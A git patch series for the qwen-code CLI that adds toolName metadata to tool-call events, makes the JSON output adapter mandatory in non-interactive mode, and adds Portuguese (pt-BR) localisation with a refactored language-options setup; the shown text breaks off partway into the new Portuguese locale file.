{ toolName: 'test_tool' }, }), ); }); @@ -519,6 +530,7 @@ describe('ToolCallEmitter', () => { toolCallId: 'call-extra', status: 'completed', rawOutput: 'Result text', + _meta: { toolName: 'test_tool' }, }), ); }); @@ -533,6 +545,7 @@ describe('ToolCallEmitter', () => { const call = sendUpdateSpy.mock.calls[0][0]; expect(call.rawOutput).toBeUndefined(); + expect(call._meta).toEqual({ toolName: 'test_tool' }); }); }); @@ -623,6 +636,7 @@ describe('ToolCallEmitter', () => { content: { type: 'text', text: 'Text content from message' }, }, ], + _meta: { toolName: 'test_tool' }, }); }); @@ -654,6 +668,7 @@ describe('ToolCallEmitter', () => { }, ], rawOutput: 'raw result', + _meta: { toolName: 'test_tool' }, }), ); }); diff --git a/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.ts b/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.ts index 9859ed78e..9ff3e34c8 100644 --- a/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.ts +++ b/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.ts @@ -65,6 +65,7 @@ export class ToolCallEmitter extends BaseEmitter { locations, kind, rawInput: params.args ?? {}, + _meta: { toolName: params.toolName }, }); return true; @@ -120,6 +121,7 @@ export class ToolCallEmitter extends BaseEmitter { toolCallId: params.callId, status: params.success ? 'completed' : 'failed', content: contentArray, + _meta: { toolName: params.toolName }, }; // Add rawOutput from resultDisplay @@ -137,7 +139,11 @@ export class ToolCallEmitter extends BaseEmitter { * @param callId - The tool call ID * @param error - The error that occurred */ - async emitError(callId: string, error: Error): Promise { + async emitError( + callId: string, + toolName: string, + error: Error, + ): Promise { await this.sendUpdate({ sessionUpdate: 'tool_call_update', toolCallId: callId, @@ -145,6 +151,7 @@ export class ToolCallEmitter extends BaseEmitter { content: [ { type: 'content', content: { type: 'text', text: error.message } }, ], + _meta: { toolName }, }); } From 8794678c62efa5fc53895ce77908bc45e8d88797 Mon Sep 17 00:00:00 2001 From: LaZzyMan Date: Mon, 26 Jan 2026 19:53:02 +0800 Subject: [PATCH 40/79] fix adapter undefined --- .../io/BaseJsonOutputAdapter.ts | 1 - .../io/JsonOutputAdapter.test.ts | 76 ++++++++++- .../nonInteractive/io/JsonOutputAdapter.ts | 2 +- packages/cli/src/nonInteractiveCli.ts | 125 +++++++----------- .../src/utils/nonInteractiveHelpers.test.ts | 20 --- .../cli/src/utils/nonInteractiveHelpers.ts | 34 ++--- 6 files changed, 137 insertions(+), 121 deletions(-) diff --git a/packages/cli/src/nonInteractive/io/BaseJsonOutputAdapter.ts b/packages/cli/src/nonInteractive/io/BaseJsonOutputAdapter.ts index ed8fe0b1b..072497000 100644 --- a/packages/cli/src/nonInteractive/io/BaseJsonOutputAdapter.ts +++ b/packages/cli/src/nonInteractive/io/BaseJsonOutputAdapter.ts @@ -64,7 +64,6 @@ export interface ResultOptions { readonly stats?: SessionMetrics; readonly summary?: string; readonly subtype?: string; - readonly showResult?: boolean; } /** diff --git a/packages/cli/src/nonInteractive/io/JsonOutputAdapter.test.ts b/packages/cli/src/nonInteractive/io/JsonOutputAdapter.test.ts index 2f4c9e44e..ec8c598f5 100644 --- a/packages/cli/src/nonInteractive/io/JsonOutputAdapter.test.ts +++ b/packages/cli/src/nonInteractive/io/JsonOutputAdapter.test.ts @@ -9,7 +9,7 @@ import type { Config, ServerGeminiStreamEvent, } from '@qwen-code/qwen-code-core'; -import { GeminiEventType } from '@qwen-code/qwen-code-core'; +import { GeminiEventType, OutputFormat } from '@qwen-code/qwen-code-core'; import type { Part } from '@google/genai'; import { JsonOutputAdapter } from './JsonOutputAdapter.js'; @@ -17,6 +17,7 @@ function createMockConfig(): Config { return { getSessionId: vi.fn().mockReturnValue('test-session-id'), getModel: vi.fn().mockReturnValue('test-model'), + getOutputFormat: vi.fn().mockReturnValue('json'), } as unknown as Config; } @@ -415,6 +416,79 @@ describe('JsonOutputAdapter', () => { expect(resultMessage.num_turns).toBe(1); }); + it('should emit success result as text to stdout in text mode', () => { + vi.mocked(mockConfig.getOutputFormat).mockReturnValue(OutputFormat.TEXT); + + adapter.emitResult({ + isError: false, + durationMs: 1000, + apiDurationMs: 800, + numTurns: 1, + }); + + expect(stdoutWriteSpy).toHaveBeenCalled(); + const output = stdoutWriteSpy.mock.calls[0][0] as string; + expect(output).toBe('Response text'); + }); + + it('should emit error result to stderr in text mode', () => { + const stderrWriteSpy = vi + .spyOn(process.stderr, 'write') + .mockImplementation(() => true); + vi.mocked(mockConfig.getOutputFormat).mockReturnValue(OutputFormat.TEXT); + + adapter.emitResult({ + isError: true, + errorMessage: 'Test error message', + durationMs: 500, + apiDurationMs: 300, + numTurns: 1, + }); + + expect(stderrWriteSpy).toHaveBeenCalled(); + const output = stderrWriteSpy.mock.calls[0][0] as string; + expect(output).toBe('Test error message'); + + stderrWriteSpy.mockRestore(); + }); + + it('should use custom summary in text mode', () => { + vi.mocked(mockConfig.getOutputFormat).mockReturnValue(OutputFormat.TEXT); + + adapter.emitResult({ + isError: false, + summary: 'Custom summary text', + durationMs: 1000, + apiDurationMs: 800, + numTurns: 1, + }); + + expect(stdoutWriteSpy).toHaveBeenCalled(); + const output = stdoutWriteSpy.mock.calls[0][0] as string; + expect(output).toBe('Custom summary text'); + }); + + it('should handle empty error message in text mode', () => { + const stderrWriteSpy = vi + .spyOn(process.stderr, 'write') + .mockImplementation(() => true); + vi.mocked(mockConfig.getOutputFormat).mockReturnValue(OutputFormat.TEXT); + + adapter.emitResult({ + isError: true, + durationMs: 500, + apiDurationMs: 300, + numTurns: 1, + }); + + expect(stderrWriteSpy).toHaveBeenCalled(); + const output = stderrWriteSpy.mock.calls[0][0] as string; + // When no errorMessage is provided, the default 'Unknown error' is used + expect(output).toBe('Unknown error'); + + stderrWriteSpy.mockRestore(); + }); + it('should emit error result', () => { adapter.emitResult({ isError: true, diff --git a/packages/cli/src/nonInteractive/io/JsonOutputAdapter.ts b/packages/cli/src/nonInteractive/io/JsonOutputAdapter.ts index de5e6f4f1..a76de53a8 100644 --- a/packages/cli/src/nonInteractive/io/JsonOutputAdapter.ts +++ b/packages/cli/src/nonInteractive/io/JsonOutputAdapter.ts @@ -67,7 +67,7 @@ export class JsonOutputAdapter ); this.messages.push(resultMessage); - if (options.showResult) { + if (this.config.getOutputFormat() === 'text') { if (resultMessage.is_error) { process.stderr.write(`${resultMessage.error?.message || ''}`); } else { diff --git a/packages/cli/src/nonInteractiveCli.ts b/packages/cli/src/nonInteractiveCli.ts index 09bbd94c1..634ad9399 100644 --- a/packages/cli/src/nonInteractiveCli.ts +++ b/packages/cli/src/nonInteractiveCli.ts @@ -49,19 +49,12 @@ import { async function emitNonInteractiveFinalMessage(params: { message: string; isError: boolean; - adapter?: JsonOutputAdapterInterface; + adapter: JsonOutputAdapterInterface; config: Config; startTimeMs: number; }): Promise { const { message, isError, adapter, config } = params; - if (!adapter) { - // Text output mode: write directly to stdout/stderr - const target = isError ? process.stderr : process.stdout; - target.write(`${message}\n`); - return; - } - // JSON output mode: emit assistant message and result // (systemMessage should already be emitted by caller) adapter.startAssistantMessage(); @@ -88,7 +81,6 @@ async function emitNonInteractiveFinalMessage(params: { usage, stats, summary: message, - showResult: config.getOutputFormat() === OutputFormat.TEXT, }); } @@ -119,21 +111,18 @@ export async function runNonInteractive( ): Promise { return promptIdContext.run(prompt_id, async () => { // Create output adapter based on format - let adapter: JsonOutputAdapterInterface | undefined; + let adapter: JsonOutputAdapterInterface; const outputFormat = config.getOutputFormat(); if (options.adapter) { adapter = options.adapter; - } else if ( - outputFormat === OutputFormat.JSON || - outputFormat === OutputFormat.TEXT - ) { - adapter = new JsonOutputAdapter(config); } else if (outputFormat === OutputFormat.STREAM_JSON) { adapter = new StreamJsonOutputAdapter( config, config.getIncludePartialMessages(), ); + } else { + adapter = new JsonOutputAdapter(config); } // Get readonly values once at the start @@ -169,14 +158,12 @@ export async function runNonInteractive( process.on('SIGTERM', shutdownHandler); // Emit systemMessage first (always the first message in JSON mode) - if (adapter) { - const systemMessage = await buildSystemMessage( - config, - sessionId, - permissionMode, - ); - adapter.emitMessage(systemMessage); - } + const systemMessage = await buildSystemMessage( + config, + sessionId, + permissionMode, + ); + adapter.emitMessage(systemMessage); let initialPartList: PartListUnion | null = extractPartsFromUserMessage( options.userMessage, @@ -282,21 +269,16 @@ export async function runNonInteractive( isFirstTurn = false; // Start assistant message for this turn - if (adapter) { - adapter.startAssistantMessage(); - } + adapter.startAssistantMessage(); for await (const event of responseStream) { if (abortController.signal.aborted) { handleCancellationError(config); } - - if (adapter) { - // Use adapter for all event processing - adapter.processEvent(event); - if (event.type === GeminiEventType.ToolCallRequest) { - toolCallRequests.push(event.value); - } + // Use adapter for all event processing + adapter.processEvent(event); + if (event.type === GeminiEventType.ToolCallRequest) { + toolCallRequests.push(event.value); } if ( outputFormat === OutputFormat.TEXT && @@ -313,9 +295,7 @@ export async function runNonInteractive( } // Finalize assistant message - if (adapter) { - adapter.finalizeAssistantMessage(); - } + adapter.finalizeAssistantMessage(); totalApiDurationMs += Date.now() - apiStartTime; if (toolCallRequests.length > 0) { @@ -377,9 +357,7 @@ export async function runNonInteractive( ); } - if (adapter) { - adapter.emitToolResult(finalRequestInfo, toolResponse); - } + adapter.emitToolResult(finalRequestInfo, toolResponse); if (toolResponse.responseParts) { toolResponseParts.push(...toolResponse.responseParts); @@ -387,50 +365,43 @@ export async function runNonInteractive( } currentMessages = [{ role: 'user', parts: toolResponseParts }]; } else { - // For JSON and STREAM_JSON modes, compute usage from metrics - if (adapter) { - const metrics = uiTelemetryService.getMetrics(); - const usage = computeUsageFromMetrics(metrics); - // Get stats for JSON format output - const stats = - outputFormat === OutputFormat.JSON - ? uiTelemetryService.getMetrics() - : undefined; - adapter.emitResult({ - isError: false, - durationMs: Date.now() - startTime, - apiDurationMs: totalApiDurationMs, - numTurns: turnCount, - usage, - stats, - showResult: outputFormat === OutputFormat.TEXT, - }); - } + const metrics = uiTelemetryService.getMetrics(); + const usage = computeUsageFromMetrics(metrics); + // Get stats for JSON format output + const stats = + outputFormat === OutputFormat.JSON + ? uiTelemetryService.getMetrics() + : undefined; + adapter.emitResult({ + isError: false, + durationMs: Date.now() - startTime, + apiDurationMs: totalApiDurationMs, + numTurns: turnCount, + usage, + stats, + }); return; } } } catch (error) { // For JSON and STREAM_JSON modes, compute usage from metrics const message = error instanceof Error ? error.message : String(error); - if (adapter) { - const metrics = uiTelemetryService.getMetrics(); - const usage = computeUsageFromMetrics(metrics); - // Get stats for JSON format output - const stats = - outputFormat === OutputFormat.JSON - ? uiTelemetryService.getMetrics() - : undefined; - adapter.emitResult({ - isError: true, - durationMs: Date.now() - startTime, - apiDurationMs: totalApiDurationMs, - numTurns: turnCount, - errorMessage: message, - usage, - stats, - showResult: outputFormat === OutputFormat.TEXT, - }); - } + const metrics = uiTelemetryService.getMetrics(); + const usage = computeUsageFromMetrics(metrics); + // Get stats for JSON format output + const stats = + outputFormat === OutputFormat.JSON + ? uiTelemetryService.getMetrics() + : undefined; + adapter.emitResult({ + isError: true, + durationMs: Date.now() - startTime, + apiDurationMs: totalApiDurationMs, + numTurns: turnCount, + errorMessage: message, + usage, + stats, + }); handleError(error, config); } finally { process.stdout.removeListener('error', stdoutErrorHandler); diff --git a/packages/cli/src/utils/nonInteractiveHelpers.test.ts b/packages/cli/src/utils/nonInteractiveHelpers.test.ts index 1f4e4f618..89999e2e8 100644 --- a/packages/cli/src/utils/nonInteractiveHelpers.test.ts +++ b/packages/cli/src/utils/nonInteractiveHelpers.test.ts @@ -984,26 +984,6 @@ describe('createTaskToolProgressHandler', () => { expect(mockAdapter.emitToolResult).not.toHaveBeenCalled(); }); - it('should work without adapter (non-JSON mode)', () => { - const { handler } = createTaskToolProgressHandler( - mockConfig, - 'parent-tool-id', - undefined, - ); - - const taskDisplay: TaskResultDisplay = { - type: 'task_execution', - subagentName: 'test-agent', - taskDescription: 'Test task', - taskPrompt: 'Test prompt', - status: 'running', - toolCalls: [], - }; - - // Should not throw - expect(() => handler('task-call-id', taskDisplay)).not.toThrow(); - }); - it('should work with adapter that does not support subagent APIs', () => { const limitedAdapter = { emitToolResult: vi.fn(), diff --git a/packages/cli/src/utils/nonInteractiveHelpers.ts b/packages/cli/src/utils/nonInteractiveHelpers.ts index fca109cbe..6f11bd373 100644 --- a/packages/cli/src/utils/nonInteractiveHelpers.ts +++ b/packages/cli/src/utils/nonInteractiveHelpers.ts @@ -306,7 +306,7 @@ export async function buildSystemMessage( export function createTaskToolProgressHandler( config: Config, taskToolCallId: string, - adapter: JsonOutputAdapterInterface | undefined, + adapter: JsonOutputAdapterInterface, ): { handler: OutputUpdateHandler; } { @@ -406,7 +406,7 @@ export function createTaskToolProgressHandler( toolCallToEmit.status === 'executing' || toolCallToEmit.status === 'awaiting_approval' ) { - if (adapter?.processSubagentToolCall) { + if (adapter.processSubagentToolCall) { adapter.processSubagentToolCall(toolCallToEmit, taskToolCallId); emittedToolUseIds.add(toolCall.callId); } @@ -432,19 +432,17 @@ export function createTaskToolProgressHandler( // Mark as emitted even if we skip, to prevent duplicate emits emittedToolResultIds.add(toolCall.callId); - if (adapter) { - const request = buildRequest(toolCall); - const response = buildResponse(toolCall); - // For subagent tool results, we need to pass parentToolUseId - // The adapter implementations accept an optional parentToolUseId parameter - if ( - 'emitToolResult' in adapter && - typeof adapter.emitToolResult === 'function' - ) { - adapter.emitToolResult(request, response, taskToolCallId); - } else { - adapter.emitToolResult(request, response); - } + const request = buildRequest(toolCall); + const response = buildResponse(toolCall); + // For subagent tool results, we need to pass parentToolUseId + // The adapter implementations accept an optional parentToolUseId parameter + if ( + 'emitToolResult' in adapter && + typeof adapter.emitToolResult === 'function' + ) { + adapter.emitToolResult(request, response, taskToolCallId); + } else { + adapter.emitToolResult(request, response); } }; @@ -501,12 +499,6 @@ export function createTaskToolProgressHandler( const taskDisplay = outputChunk as TaskResultDisplay; const previous = previousTaskStates.get(callId); - // If no adapter, just track state (for non-JSON modes) - if (!adapter) { - previousTaskStates.set(callId, taskDisplay); - return; - } - // Only process if adapter supports subagent APIs if ( !adapter.processSubagentToolCall || From 109738bf67dcc079756ab659bd58a3bdbce33fd5 Mon Sep 17 00:00:00 2001 From: pomelo-nwu Date: Mon, 26 Jan 2026 23:28:17 +0800 Subject: [PATCH 41/79] feat: Add Portuguese (pt-BR) Support and Refactored I18n Architecture --- packages/cli/src/config/settingsSchema.ts | 21 +- packages/cli/src/core/initializer.ts | 6 +- packages/cli/src/i18n/index.ts | 18 +- packages/cli/src/i18n/languages.ts | 47 +- packages/cli/src/i18n/locales/de.js | 17 +- packages/cli/src/i18n/locales/en.js | 20 +- packages/cli/src/i18n/locales/ja.js | 20 +- packages/cli/src/i18n/locales/pt.js | 1390 +++++++++++++++++ packages/cli/src/i18n/locales/ru.js | 25 +- packages/cli/src/i18n/locales/zh.js | 13 +- .../src/ui/commands/languageCommand.test.ts | 23 +- .../cli/src/ui/commands/languageCommand.ts | 26 +- 12 files changed, 1523 insertions(+), 103 deletions(-) create mode 100644 packages/cli/src/i18n/locales/pt.js diff --git a/packages/cli/src/config/settingsSchema.ts b/packages/cli/src/config/settingsSchema.ts index c528794f6..cdde1c8e3 100644 --- a/packages/cli/src/config/settingsSchema.ts +++ b/packages/cli/src/config/settingsSchema.ts @@ -18,6 +18,7 @@ import { DEFAULT_TRUNCATE_TOOL_OUTPUT_THRESHOLD, } from '@qwen-code/qwen-code-core'; import type { CustomTheme } from '../ui/themes/theme.js'; +import { getLanguageSettingsOptions } from '../i18n/languages.js'; export type SettingsType = | 'boolean' @@ -211,14 +212,7 @@ const SETTINGS_SCHEMA = { 'You can also use custom language codes (e.g., "es", "fr") by placing JS language files ' + 'in ~/.qwen/locales/ (e.g., ~/.qwen/locales/es.js).', showInDialog: true, - options: [ - { value: 'auto', label: 'Auto (detect from system)' }, - { value: 'en', label: 'English' }, - { value: 'zh', label: '中文 (Chinese)' }, - { value: 'ru', label: 'Русский (Russian)' }, - { value: 'de', label: 'Deutsch (German)' }, - { value: 'ja', label: '日本語 (Japanese)' }, - ], + options: [] as readonly SettingEnumOption[], }, outputLanguage: { type: 'string', @@ -228,7 +222,7 @@ const SETTINGS_SCHEMA = { default: 'auto', description: 'The language for LLM output. Use "auto" to detect from system settings, ' + - 'or set a specific language (e.g., "English", "中文", "日本語").', + 'or set a specific language.', showInDialog: true, }, terminalBell: { @@ -1190,6 +1184,15 @@ const SETTINGS_SCHEMA = { export type SettingsSchemaType = typeof SETTINGS_SCHEMA; export function getSettingsSchema(): SettingsSchemaType { + // Inject dynamic language options + const schema = SETTINGS_SCHEMA as unknown as SettingsSchema; + if (schema['general']?.properties?.['language']) { + ( + schema['general'].properties['language'] as { + options?: SettingEnumOption[]; + } + ).options = getLanguageSettingsOptions(); + } return SETTINGS_SCHEMA; } diff --git a/packages/cli/src/core/initializer.ts b/packages/cli/src/core/initializer.ts index c21d637e3..fe81816d9 100644 --- a/packages/cli/src/core/initializer.ts +++ b/packages/cli/src/core/initializer.ts @@ -14,7 +14,7 @@ import { import { type LoadedSettings, SettingScope } from '../config/settings.js'; import { performInitialAuth } from './auth.js'; import { validateTheme } from './theme.js'; -import { initializeI18n } from '../i18n/index.js'; +import { initializeI18n, type SupportedLanguage } from '../i18n/index.js'; import { initializeLlmOutputLanguage } from '../utils/languageUtils.js'; export interface InitializationResult { @@ -38,9 +38,9 @@ export async function initializeApp( // Initialize i18n system const languageSetting = process.env['QWEN_CODE_LANG'] || - settings.merged.general?.language || + (settings.merged.general?.language as string) || 'auto'; - await initializeI18n(languageSetting); + await initializeI18n(languageSetting as SupportedLanguage | 'auto'); // Auto-detect and set LLM output language on first use initializeLlmOutputLanguage(settings.merged.general?.outputLanguage); diff --git a/packages/cli/src/i18n/index.ts b/packages/cli/src/i18n/index.ts index c699b7f1b..64384029d 100644 --- a/packages/cli/src/i18n/index.ts +++ b/packages/cli/src/i18n/index.ts @@ -10,6 +10,7 @@ import { fileURLToPath, pathToFileURL } from 'node:url'; import { homedir } from 'node:os'; import { type SupportedLanguage, + SUPPORTED_LANGUAGES, getLanguageNameFromLocale, } from './languages.js'; @@ -55,18 +56,17 @@ const getLocalePath = ( // Language detection export function detectSystemLanguage(): SupportedLanguage { const envLang = process.env['QWEN_CODE_LANG'] || process.env['LANG']; - if (envLang?.startsWith('zh')) return 'zh'; - if (envLang?.startsWith('en')) return 'en'; - if (envLang?.startsWith('ru')) return 'ru'; - if (envLang?.startsWith('de')) return 'de'; - if (envLang?.startsWith('ja')) return 'ja'; + if (envLang) { + for (const lang of SUPPORTED_LANGUAGES) { + if (envLang.startsWith(lang.code)) return lang.code; + } + } try { const locale = Intl.DateTimeFormat().resolvedOptions().locale; - if (locale.startsWith('zh')) return 'zh'; - if (locale.startsWith('ru')) return 'ru'; - if (locale.startsWith('de')) return 'de'; - if (locale.startsWith('ja')) return 'ja'; + for (const lang of SUPPORTED_LANGUAGES) { + if (locale.startsWith(lang.code)) return lang.code; + } } catch { // Fallback to default } diff --git a/packages/cli/src/i18n/languages.ts b/packages/cli/src/i18n/languages.ts index 0a2798d08..733f11863 100644 --- a/packages/cli/src/i18n/languages.ts +++ b/packages/cli/src/i18n/languages.ts @@ -4,7 +4,14 @@ * SPDX-License-Identifier: Apache-2.0 */ -export type SupportedLanguage = 'en' | 'zh' | 'ru' | 'de' | 'ja' | string; +export type SupportedLanguage = + | 'en' + | 'zh' + | 'ru' + | 'de' + | 'ja' + | 'pt' + | string; export interface LanguageDefinition { /** The internal locale code used by the i18n system (e.g., 'en', 'zh'). */ @@ -13,6 +20,8 @@ export interface LanguageDefinition { id: string; /** The full English name of the language (e.g., 'English', 'Chinese'). */ fullName: string; + /** The native name of the language (e.g., 'English', '中文'). */ + nativeName?: string; } export const SUPPORTED_LANGUAGES: readonly LanguageDefinition[] = [ @@ -20,26 +29,37 @@ export const SUPPORTED_LANGUAGES: readonly LanguageDefinition[] = [ code: 'en', id: 'en-US', fullName: 'English', + nativeName: 'English', }, { code: 'zh', id: 'zh-CN', fullName: 'Chinese', + nativeName: '中文', }, { code: 'ru', id: 'ru-RU', fullName: 'Russian', + nativeName: 'Русский', }, { code: 'de', id: 'de-DE', fullName: 'German', + nativeName: 'Deutsch', }, { code: 'ja', id: 'ja-JP', fullName: 'Japanese', + nativeName: '日本語', + }, + { + code: 'pt', + id: 'pt-BR', + fullName: 'Portuguese', + nativeName: 'Português', }, ]; @@ -51,3 +71,28 @@ export function getLanguageNameFromLocale(locale: SupportedLanguage): string { const lang = SUPPORTED_LANGUAGES.find((l) => l.code === locale); return lang?.fullName || 'English'; } + +/** + * Gets the language options for the settings schema. + */ +export function getLanguageSettingsOptions(): Array<{ + value: string; + label: string; +}> { + return [ + { value: 'auto', label: 'Auto (detect from system)' }, + ...SUPPORTED_LANGUAGES.map((l) => ({ + value: l.code, + label: l.nativeName + ? `${l.nativeName} (${l.fullName})` + : `${l.fullName} (${l.id})`, + })), + ]; +} + +/** + * Gets a string containing all supported language IDs (e.g., "en-US|zh-CN"). + */ +export function getSupportedLanguageIds(separator = '|'): string { + return SUPPORTED_LANGUAGES.map((l) => l.id).join(separator); +} diff --git a/packages/cli/src/i18n/locales/de.js b/packages/cli/src/i18n/locales/de.js index fdda3a352..0273d0c91 100644 --- a/packages/cli/src/i18n/locales/de.js +++ b/packages/cli/src/i18n/locales/de.js @@ -569,8 +569,8 @@ export default { // ============================================================================ // Commands - Language // ============================================================================ - 'Invalid language. Available: en-US, zh-CN': - 'Ungültige Sprache. Verfügbar: en-US, zh-CN', + 'Invalid language. Available: {{options}}': + 'Ungültige Sprache. Verfügbar: {{options}}', 'Language subcommands do not accept additional arguments.': 'Sprach-Unterbefehle akzeptieren keine zusätzlichen Argumente.', 'Current UI language: {{lang}}': 'Aktuelle UI-Sprache: {{lang}}', @@ -579,12 +579,14 @@ export default { 'LLM output language not set': 'LLM-Ausgabesprache nicht festgelegt', 'Set UI language': 'UI-Sprache festlegen', 'Set LLM output language': 'LLM-Ausgabesprache festlegen', - 'Usage: /language ui [zh-CN|en-US]': 'Verwendung: /language ui [zh-CN|en-US]', + 'Usage: /language ui [{{options}}]': 'Verwendung: /language ui [{{options}}]', 'Usage: /language output ': 'Verwendung: /language output ', 'Example: /language output 中文': 'Beispiel: /language output Deutsch', - 'Example: /language output English': 'Beispiel: /language output English', + 'Example: /language output English': 'Beispiel: /language output Englisch', 'Example: /language output 日本語': 'Beispiel: /language output Japanisch', + 'Example: /language output Português': + 'Beispiel: /language output Portugiesisch', 'UI language changed to {{lang}}': 'UI-Sprache geändert zu {{lang}}', 'LLM output language set to {{lang}}': 'LLM-Ausgabesprache auf {{lang}} gesetzt', @@ -600,12 +602,7 @@ export default { 'To request additional UI language packs, please open an issue on GitHub.': 'Um zusätzliche UI-Sprachpakete anzufordern, öffnen Sie bitte ein Issue auf GitHub.', 'Available options:': 'Verfügbare Optionen:', - ' - zh-CN: Simplified Chinese': ' - zh-CN: Vereinfachtes Chinesisch', - ' - en-US: English': ' - en-US: Englisch', - 'Set UI language to Simplified Chinese (zh-CN)': - 'UI-Sprache auf Vereinfachtes Chinesisch (zh-CN) setzen', - 'Set UI language to English (en-US)': - 'UI-Sprache auf Englisch (en-US) setzen', + 'Set UI language to {{name}}': 'UI-Sprache auf {{name}} setzen', // ============================================================================ // Commands - Approval Mode diff --git a/packages/cli/src/i18n/locales/en.js b/packages/cli/src/i18n/locales/en.js index 7a900354b..7cb7fe9a7 100644 --- a/packages/cli/src/i18n/locales/en.js +++ b/packages/cli/src/i18n/locales/en.js @@ -576,8 +576,8 @@ export default { // ============================================================================ // Commands - Language // ============================================================================ - 'Invalid language. Available: en-US, zh-CN': - 'Invalid language. Available: en-US, zh-CN, ru-RU, de-DE, ja-JP', + 'Invalid language. Available: {{options}}': + 'Invalid language. Available: {{options}}', 'Language subcommands do not accept additional arguments.': 'Language subcommands do not accept additional arguments.', 'Current UI language: {{lang}}': 'Current UI language: {{lang}}', @@ -586,12 +586,12 @@ export default { 'LLM output language not set': 'LLM output language not set', 'Set UI language': 'Set UI language', 'Set LLM output language': 'Set LLM output language', - 'Usage: /language ui [zh-CN|en-US]': - 'Usage: /language ui [zh-CN|en-US|ru-RU|de-DE|ja-JP]', + 'Usage: /language ui [{{options}}]': 'Usage: /language ui [{{options}}]', 'Usage: /language output ': 'Usage: /language output ', 'Example: /language output 中文': 'Example: /language output 中文', 'Example: /language output English': 'Example: /language output English', 'Example: /language output 日本語': 'Example: /language output 日本語', + 'Example: /language output Português': 'Example: /language output Português', 'UI language changed to {{lang}}': 'UI language changed to {{lang}}', 'LLM output language set to {{lang}}': 'LLM output language set to {{lang}}', 'LLM output language rule file generated at {{path}}': @@ -606,17 +606,7 @@ export default { 'To request additional UI language packs, please open an issue on GitHub.': 'To request additional UI language packs, please open an issue on GitHub.', 'Available options:': 'Available options:', - ' - zh-CN: Simplified Chinese': ' - zh-CN: Simplified Chinese', - ' - en-US: English': ' - en-US: English', - ' - ru-RU: Russian': ' - ru-RU: Russian', - ' - de-DE: German': ' - de-DE: German', - ' - ja-JP: Japanese': ' - ja-JP: Japanese', - 'Set UI language to Simplified Chinese (zh-CN)': - 'Set UI language to Simplified Chinese (zh-CN)', - 'Set UI language to English (en-US)': 'Set UI language to English (en-US)', - 'Set UI language to Russian (ru-RU)': 'Set UI language to Russian (ru-RU)', - 'Set UI language to German (de-DE)': 'Set UI language to German (de-DE)', - 'Set UI language to Japanese (ja-JP)': 'Set UI language to Japanese (ja-JP)', + 'Set UI language to {{name}}': 'Set UI language to {{name}}', // ============================================================================ // Commands - Approval Mode diff --git a/packages/cli/src/i18n/locales/ja.js b/packages/cli/src/i18n/locales/ja.js index 5f4eb7e98..201d1ee3d 100644 --- a/packages/cli/src/i18n/locales/ja.js +++ b/packages/cli/src/i18n/locales/ja.js @@ -369,8 +369,8 @@ export default { 'Terminal "{{terminal}}" is not supported yet.': 'ターミナル "{{terminal}}" はまだサポートされていません', // Commands - Language - 'Invalid language. Available: en-US, zh-CN': - '無効な言語です。使用可能: en-US, zh-CN, ru-RU, de-DE, ja-JP', + 'Invalid language. Available: {{options}}': + '無効な言語です。使用可能: {{options}}', 'Language subcommands do not accept additional arguments.': '言語サブコマンドは追加の引数を受け付けません', 'Current UI language: {{lang}}': '現在のUI言語: {{lang}}', @@ -378,12 +378,12 @@ export default { 'LLM output language not set': 'LLM出力言語が設定されていません', 'Set UI language': 'UI言語を設定', 'Set LLM output language': 'LLM出力言語を設定', - 'Usage: /language ui [zh-CN|en-US]': - '使い方: /language ui [zh-CN|en-US|ru-RU|de-DE|ja-JP]', + 'Usage: /language ui [{{options}}]': '使い方: /language ui [{{options}}]', 'Usage: /language output ': '使い方: /language output <言語>', 'Example: /language output 中文': '例: /language output 中文', 'Example: /language output English': '例: /language output English', 'Example: /language output 日本語': '例: /language output 日本語', + 'Example: /language output Português': '例: /language output Português', 'UI language changed to {{lang}}': 'UI言語を {{lang}} に変更しました', 'LLM output language rule file generated at {{path}}': 'LLM出力言語ルールファイルを {{path}} に生成しました', @@ -397,17 +397,7 @@ export default { 'To request additional UI language packs, please open an issue on GitHub.': '追加のUI言語パックをリクエストするには、GitHub で Issue を作成してください', 'Available options:': '使用可能なオプション:', - ' - zh-CN: Simplified Chinese': ' - zh-CN: 簡体字中国語', - ' - en-US: English': ' - en-US: 英語', - ' - ru-RU: Russian': ' - ru-RU: ロシア語', - ' - de-DE: German': ' - de-DE: ドイツ語', - ' - ja-JP: Japanese': ' - ja-JP: 日本語', - 'Set UI language to Simplified Chinese (zh-CN)': - 'UI言語を簡体字中国語(zh-CN)に設定', - 'Set UI language to English (en-US)': 'UI言語を英語(en-US)に設定', - 'Set UI language to Russian (ru-RU)': 'UI言語をロシア語(ru-RU)に設定', - 'Set UI language to German (de-DE)': 'UI言語をドイツ語(de-DE)に設定', - 'Set UI language to Japanese (ja-JP)': 'UI言語を日本語(ja-JP)に設定', + 'Set UI language to {{name}}': 'UI言語を {{name}} に設定', // Approval Mode 'Approval Mode': '承認モード', 'Current approval mode: {{mode}}': '現在の承認モード: {{mode}}', diff --git a/packages/cli/src/i18n/locales/pt.js b/packages/cli/src/i18n/locales/pt.js new file mode 100644 index 000000000..40410ce61 --- /dev/null +++ b/packages/cli/src/i18n/locales/pt.js @@ -0,0 +1,1390 @@ +/** + * @license + * Copyright 2025 Qwen + * SPDX-License-Identifier: Apache-2.0 + */ + +// Portuguese translations for Qwen Code CLI (pt-BR) + +export default { + // ============================================================================ + // Help / UI Components + // ============================================================================ + 'Basics:': 'Noções básicas:', + 'Add context': 'Adicionar contexto', + 'Use {{symbol}} to specify files for context (e.g., {{example}}) to target specific files or folders.': + 'Use {{symbol}} para especificar arquivos para o contexto (ex: {{example}}) para atingir arquivos ou pastas específicos.', + '@': '@', + '@src/myFile.ts': '@src/myFile.ts', + 'Shell mode': 'Modo shell', + 'YOLO mode': 'Modo YOLO', + 'plan mode': 'modo planejamento', + 'auto-accept edits': 'aceitar edições automaticamente', + 'Accepting edits': 'Aceitando edições', + '(shift + tab to cycle)': '(shift + tab para alternar)', + 'Execute shell commands via {{symbol}} (e.g., {{example1}}) or use natural language (e.g., {{example2}}).': + 'Execute comandos shell via {{symbol}} (ex: {{example1}}) ou use linguagem natural (ex: {{example2}}).', + '!': '!', + '!npm run start': '!npm run start', + 'start server': 'iniciar servidor', + 'Commands:': 'Comandos:', + 'shell command': 'comando shell', + 'Model Context Protocol command (from external servers)': + 'Comando Model Context Protocol (de servidores externos)', + 'Keyboard Shortcuts:': 'Atalhos de teclado:', + 'Toggle this help display': 'Alternar exibição desta ajuda', + 